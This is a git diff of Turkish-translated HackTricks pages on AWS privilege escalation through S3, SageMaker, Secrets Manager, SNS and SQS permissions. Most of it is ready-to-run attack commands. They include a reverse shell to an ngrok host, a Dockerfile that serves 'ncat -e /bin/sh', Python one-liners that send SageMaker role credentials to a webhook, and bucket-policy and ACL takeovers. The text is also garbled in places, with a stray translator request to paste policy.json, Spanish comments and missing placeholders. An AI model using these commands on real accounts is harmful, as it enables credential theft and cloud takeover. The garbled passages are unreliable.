çalışabilir**. Bunlar bazı örneklerdir: + +- Eğer bir EC2 instance **kullanıcı verilerini bir S3 bucket'ında** saklıyorsa, bir saldırgan bunu değiştirerek **EC2 instance içinde rastgele kod çalıştırabilir**. + +### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file + +Genellikle [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state dosyaları bulut sağlayıcılarının blob depolama alanlarına, ör. AWS S3'e kaydedilir. Bir state dosyasının dosya uzantısı `.tfstate`'dir ve bucket isimleri genellikle terraform state dosyalarını içerdiğini belli eder. Genellikle her AWS hesabının, hesabın durumunu gösteren state dosyalarını saklamak için böyle bir bucket'ı vardır. Gerçek dünyadaki hesaplarda neredeyse her zaman tüm geliştiriciler `s3:*` iznine sahiptir ve bazen iş kullanıcıları bile `s3:Put*` iznine sahiptir. + +Dolayısıyla, bu dosyalar üzerinde listelenen izinlere sahipseniz, pipeline'da `terraform` ayrıcalıklarıyla RCE elde etmenizi sağlayan bir saldırı vektörü vardır — çoğu zaman `AdministratorAccess`, bu da sizi bulut hesabının yöneticisi yapar. Ayrıca bu vektörü, `terraform`'ın meşru kaynakları silmesini sağlayarak denial of service saldırısı yapmak için kullanabilirsiniz. + +Doğrudan kullanılabilecek exploit kodu için *Abusing Terraform State Files* bölümündeki *Terraform Security* sayfasındaki açıklamayı takip edin: + +{{#ref}} +../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files +{{#endref}} + +### `s3:PutBucketPolicy` + +Bir saldırganın **aynı hesaptan** olması gerekir; aksi takdirde `The specified method is not allowed` hatası tetiklenir. Bu izinle, kendisine bucket(lar) üzerinde daha fazla yetki verebilir ve böylece bucket'ları okuyup, yazıp, değiştirebilir, silebilir ve açığa çıkarabilir. +```bash +# Update Bucket policy +aws s3api put-bucket-policy --policy file:///root/policy.json --bucket + +## JSON giving permissions to a user and mantaining some previous root access +{ +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] +} + +## JSON Public policy example +### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS +{ +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] +} +``` +### `s3:GetBucketAcl`, `s3:PutBucketAcl` + +Bir attacker, bu izinleri belirli buckets üzerinde kendisine **daha fazla erişim vermek** için kötüye kullanabilir.\ +Unutmayın ki attacker aynı hesapta olmak zorunda değildir. Ayrıca write access +```bash +# Update bucket ACL +aws s3api get-bucket-acl --bucket +aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectAcl` + +Bir saldırgan, bu izinleri kötüye kullanarak buckets içindeki belirli nesneler üzerinde kendisine daha fazla erişim sağlayabilir. +```bash +# Update bucket object ACL +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json + +##JSON ACL example +## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. +{ +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] +} +## An ACL should give you the permission WRITE_ACP to be able to put a new ACL +``` +### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` + +Bu ayrıcalıklara sahip bir saldırganın belirli bir object version'a Acl koyabilmesi beklenir. +```bash +aws s3api get-object-acl --bucket --key flag +aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md deleted file mode 100644 index 57d440797..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ /dev/null @@ -1,106 +0,0 @@ -# AWS - Sagemaker Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS - Sagemaker Privesc - - - -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -IAM Rolü ile ilişkilendirilmiş bir not defteri oluşturmaya başlayın: -```bash -aws sagemaker create-notebook-instance --notebook-instance-name example \ ---instance-type ml.t2.medium \ ---role-arn arn:aws:iam:::role/service-role/ -``` -Yanıt, yeni oluşturulan not defteri örneğinin ARN'sini içerecek bir `NotebookInstanceArn` alanı içermelidir. Ardından, not defteri örneğine erişmek için hazır olduğunda kullanabileceğimiz bir URL oluşturmak için `create-presigned-notebook-instance-url` API'sini kullanabiliriz: -```bash -aws sagemaker create-presigned-notebook-instance-url \ ---notebook-instance-name -``` -Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`\` butonuna tıklayın, ardından “Launcher” sekmesine kaydırın ve “Other” bölümünde “Terminal” butonuna tıklayın. - -Artık IAM Rolünün metadata kimlik bilgilerine erişmek mümkündür. - -**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. - -### `sagemaker:CreatePresignedNotebookInstanceUrl` - -Eğer üzerinde Jupyter **notebook'lar zaten çalışıyorsa** ve bunları `sagemaker:ListNotebookInstances` ile listeleyebiliyorsanız (veya başka bir şekilde keşfedebiliyorsanız). Onlar için **bir URL oluşturabilir, erişebilir ve önceki teknikte belirtildiği gibi kimlik bilgilerini çalabilirsiniz**. -```bash -aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name -``` -**Potansiyel Etki:** Sagemaker hizmet rolüne privesc. - -### `sagemaker:CreateProcessingJob,iam:PassRole` - -Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** yürütmesini sağlayabilir ve buna bağlı bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetimli ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **bağlı IAM rolünün kimlik bilgilerini çalabilir**. -```bash -# I uploaded a python docker image to the ECR -aws sagemaker create-processing-job \ ---processing-job-name privescjob \ ---processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ ---app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ ---role-arn - -# In my tests it took 10min to receive the shell -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds -``` -**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. - -### `sagemaker:CreateTrainingJob`, `iam:PassRole` - -Bu izinlere sahip bir saldırgan, bir eğitim işi oluşturabilecek, **üzerinde rastgele bir konteyner çalıştırarak** ona **bağlı bir rol** ile. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilecektir. - -> [!WARNING] -> Bu senaryo, önceki senaryoya göre daha zor bir şekilde istismar edilebilir çünkü bir Docker imajı oluşturmanız gerekiyor ve bu imajın rev shell veya kimlik bilgilerini doğrudan saldırgana göndermesi gerekiyor (eğitim işinin yapılandırmasında bir başlangıç komutu belirtemezsiniz). -> -> ```bash -> # Docker imajı oluştur -> mkdir /tmp/rev -> ## Eğitim işinin "train" adlı bir çalıştırılabilir dosyayı çağıracağını unutmayın -> ## Bu yüzden rev shell'i /bin/train içine koyuyorum -> ## ve değerlerini ayarlayın -> cat > /tmp/rev/Dockerfile < FROM ubuntu -> RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train -> RUN chmod +x /bin/train -> CMD ncat -e /bin/sh -> EOF -> -> cd /tmp/rev -> sudo docker build . -t reverseshell -> -> # ECR'ye yükle -> sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ -> sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest -> sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest -> ``` -```bash -# Create trainning job with the docker image created -aws sagemaker create-training-job \ ---training-job-name privescjob \ ---resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ ---algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ ---role-arn \ ---output-data-config '{"S3OutputPath": "s3://"}' \ ---stopping-condition '{"MaxRuntimeInSeconds": 600}' - -#To get the creds -curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer -``` -**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. - -### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` - -Bu izinlere sahip bir saldırgan, **bir hiperparametre eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak ve bunun üzerinde **bağlı bir rol ile** **rastgele bir konteyner** çalıştırabilecektir.\ -_Zaman eksikliği nedeniyle bunu istismar etmedim, ancak önceki istismarlarla benzer görünüyor, istismar detaylarıyla bir PR göndermekten çekinmeyin._ - -## Referanslar - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md new file mode 100644 index 000000000..40c1fd498 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -0,0 +1,260 @@ +# AWS - Sagemaker Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS - Sagemaker Privesc + +### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` + +Erişim için IAM Role'ü iliştirilmiş bir notebook oluşturmaya başlayın: +```bash +aws sagemaker create-notebook-instance --notebook-instance-name example \ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ +``` +Yanıt, yeni oluşturulan notebook instance'ın ARN'sini içerecek olan `NotebookInstanceArn` alanını içermelidir. Daha sonra notebook instance hazır olduğunda ona erişmek için kullanabileceğimiz bir URL oluşturmak üzere `create-presigned-notebook-instance-url` API'sini kullanabiliriz: +```bash +aws sagemaker create-presigned-notebook-instance-url \ +--notebook-instance-name +``` +Tarayıcıyla URL'ye gidin ve sağ üstte `Open JupyterLab`` üzerine tıklayın, sonra aşağı kaydırıp “Launcher” sekmesine gidin ve “Other” bölümünün altında “Terminal” butonuna tıklayın. + +Now It's possible to access the metadata credentials of the IAM Role. + +**Potential Impact:** Belirtilen sagemaker service role'a Privesc. + +### `sagemaker:CreatePresignedNotebookInstanceUrl` + +Eğer üzerinde Jupyter **notebook'lar zaten çalışıyorsa** ve bunları `sagemaker:ListNotebookInstances` ile listeleyebiliyorsanız (veya başka bir şekilde keşfedebiliyorsanız), bunlar için bir URL oluşturup erişebilir ve önceki teknikte belirtildiği gibi kimlik bilgilerini çalabilirsiniz. +```bash +aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name +``` +**Olası Etki:** Ekli sagemaker servis rolüne Privesc. + +### `sagemaker:CreateProcessingJob`, `iam:PassRole` + +Bu izinlere sahip bir saldırgan, bir SageMaker rolü iliştirilmiş şekilde **SageMaker'ın bir processing job çalıştırmasını** sağlayabilir. Zaten Python içeren AWS Deep Learning Containers'lardan birini yeniden kullanarak (ve işi URI ile aynı bölgede çalıştırarak), kendi imajlarınızı oluşturmadan inline kod çalıştırabilirsiniz: +```bash +REGION= +ROLE_ARN= +IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3 +ENV='{"W":"https://example.com/webhook"}' + +aws sagemaker create-processing-job \ +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \ +--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--environment "$ENV" \ +--role-arn $ROLE_ARN + +# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. +``` +**Potential Impact:** Belirtilen sagemaker servis rolüne Privesc. + +### `sagemaker:CreateTrainingJob`, `iam:PassRole` + +Bu izinlere sahip bir saldırgan, belirtilen rol altında keyfi kod çalıştıran bir training job başlatabilir. Resmi bir SageMaker konteynerini kullanıp entrypoint'i inline bir payload ile üzerine yazarak, kendi imajlarınızı oluşturmanıza gerek yok: +```bash +REGION= +ROLE_ARN= +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +ENV='{"W":"https://example.com/webhook"}' +OUTPUT_S3=s3:///training-output/ +# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3. + +aws sagemaker create-training-job \ +--training-job-name privesc-train \ +--role-arn $ROLE_ARN \ +--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \ +--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \ +--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \ +--stopping-condition '{"MaxRuntimeInSeconds":600}' \ +--environment "$ENV" + +# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. +``` +**Olası Etki:** Belirtilen SageMaker servis rolüne Privesc. + +### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` + +Bu izinlere sahip bir saldırgan, sağlanan rol altında saldırgan tarafından kontrol edilen kodu çalıştıran bir HyperParameter Tuning Job başlatabilir. Script mode, payload'u S3'te barındırmayı gerektirir, ancak tüm adımlar CLI'den otomatikleştirilebilir: +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", +\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**Olası Etki**: Etkileşimli Studio oturumları için belirtilen SageMaker execution role izinlerine Privilege escalation. + + +## Referanslar + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md deleted file mode 100644 index d87c6f49a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ /dev/null @@ -1,48 +0,0 @@ -# AWS - Secrets Manager Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Daha fazla bilgi için Secrets Manager'a bakın: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### `secretsmanager:GetSecretValue` - -Bu izne sahip bir saldırgan AWS **Secretsmanager** içindeki bir secret'ın **kaydedilmiş değerini** alabilir. -```bash -aws secretsmanager get-secret-value --secret-id # Get value -``` -**Potansiyel Etki:** AWS Secrets Manager servisi içindeki yüksek hassasiyetli verilere erişim. - -> [!WARNING] -> `secretsmanager:BatchGetSecretValue` izni olsa bile, bir saldırganın hassas secret'ları almak için `secretsmanager:GetSecretValue` iznine de ihtiyacı olduğunu unutmayın. - -### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) - -Önceki izinlerle **diğer principals/accounts'a (hatta harici) erişim verme** ile **secret**'a erişim sağlamak mümkündür. KMS key ile şifrelenmiş **secret'ları okumak** için kullanıcının ayrıca **KMS key'e erişimi** olması gerektiğini unutmayın (daha fazla bilgi için [KMS Enum page](../aws-services/aws-kms-enum.md)). -```bash -aws secretsmanager list-secrets -aws secretsmanager get-resource-policy --secret-id -aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json -``` -policy.json: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "secretsmanager:GetSecretValue", -"Resource": "*" -} -] -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md new file mode 100644 index 000000000..e64a85b5d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -0,0 +1,48 @@ +# AWS - Secrets Manager Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +secrets manager hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### `secretsmanager:GetSecretValue` + +Bu izne sahip bir saldırgan, AWS **Secretsmanager** içindeki bir secret'ın **kaydedilmiş değerini** alabilir. +```bash +aws secretsmanager get-secret-value --secret-id # Get value +``` +**Potansiyel Etki:** AWS secrets manager servisi içindeki yüksek hassasiyetli verilere erişim. + +> [!WARNING] +> Dikkat: `secretsmanager:BatchGetSecretValue` izni olsa bile, bir saldırganın hassas secret'ları almak için `secretsmanager:GetSecretValue` iznine de ihtiyacı vardır. + +### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) + +Önceki izinlerle **diğer principal/account'lara (hatta harici) secret'e erişim verme** mümkün. KMS anahtarıyla şifrelenmiş **secret**'leri **okuyabilmek** için kullanıcının ayrıca **KMS anahtarına erişime** sahip olması gerektiğini unutmayın (more info in the [KMS Enum page](../../aws-services/aws-kms-enum.md)). +```bash +aws secretsmanager list-secrets +aws secretsmanager get-resource-policy --secret-id +aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json +``` +policy.json içeriğini yapıştırır mısınız? Çeviri yapmam için dosya içeriğine ihtiyacım var. Kod, linkler ve markdown etiketlerini çevirmeyeceğim. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index 3cdf0ed2a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. -```bash -aws sns publish --topic-arn --message -``` -**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. - -### `sns:Subscribe` - -Bir saldırgan, bir SNS konusuna abone olabilir ve bu da mesajlara yetkisiz erişim kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**Potansiyel Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi. - -### `sns:AddPermission` - -Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim izni verebilir ve potansiyel olarak daha fazla izin elde edebilir. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..3ee9ff663 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,80 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Daha fazla bilgi için bakın: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +Bir saldırgan, SNS konusuna kötücül veya istenmeyen mesajlar gönderebilir; bu, veri bozulmasına, istem dışı eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. +```bash +aws sns publish --topic-arn --message +``` +**Olası Etki**: Zafiyetin kötüye kullanılması, veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. + +### `sns:Subscribe` + +Bir saldırgan bir SNS topic'ine abone olabilir; bu, mesajlara yetkisiz erişim sağlamasına veya topic'e bağlı uygulamaların normal işleyişini bozmasına yol açabilir. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Potansiyel Etki**: Mesajlara (hassas bilgiler) yetkisiz erişim; etkilenen topic'e bağlı uygulamalar için hizmet kesintisi. + +### `sns:AddPermission` + +Bir saldırgan yetkisiz kullanıcılara veya servislere bir SNS topic'ine erişim verebilir ve bu sayede potansiyel olarak ek izinler elde edebilir. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Muhtemel Etki**: Yetkisiz kullanıcılar veya servisler tarafından topic'e izinsiz erişim, mesajların ifşa olması veya topic'in manipüle edilmesi, topic'e bağlı uygulamaların normal çalışmasının bozulması. + +### Wildcard SNS iznini kötüye kullanarak Lambda'yı çağırma (no `SourceArn`) + +Eğer bir Lambda function resource-based policy `sns.amazonaws.com`'un onu invoke etmesine izin veriyorsa ve kaynak topic'i (`SourceArn`) kısıtlamıyorsa, herhangi bir SNS topic (diğer bir hesapta olsa bile) subscribe olabilir ve fonksiyonu tetikleyebilir. Temel SNS izinlerine sahip bir saldırgan, Lambda'yı kendi kontrolündeki girdi ile onun IAM rolü altında çalıştırmaya zorlayabilir. + +> [!TIP] +> TODO: Bu gerçekten cross-account yapılabilir mi? + +Önkoşullar +- Hedef Lambda politikası aşağıdaki gibi bir ifade içerir, `SourceArn` koşulu YOK: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +Kötüye kullanım adımları (aynı veya hesaplar arası) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Olası Etki**: Hedef Lambda, IAM rolü ile çalışır ve saldırgan tarafından kontrol edilen girdiyi işler. İzinlerine bağlı olarak bu, fonksiyonun hassas işlemler gerçekleştirmesi için kötüye kullanılabilir (ör. S3'e yazma, secrets'e erişme, kaynakları değiştirme). + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index 918447797..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -Bir saldırgan, bu izni kullanarak yetkisiz kullanıcılar veya hizmetlere bir SQS kuyruğuna erişim sağlamak için yeni politikalar oluşturabilir veya mevcut politikaları değiştirebilir. Bu, kuyruğun içindeki mesajlara yetkisiz erişim veya yetkisiz varlıklar tarafından kuyruğun manipülasyonu ile 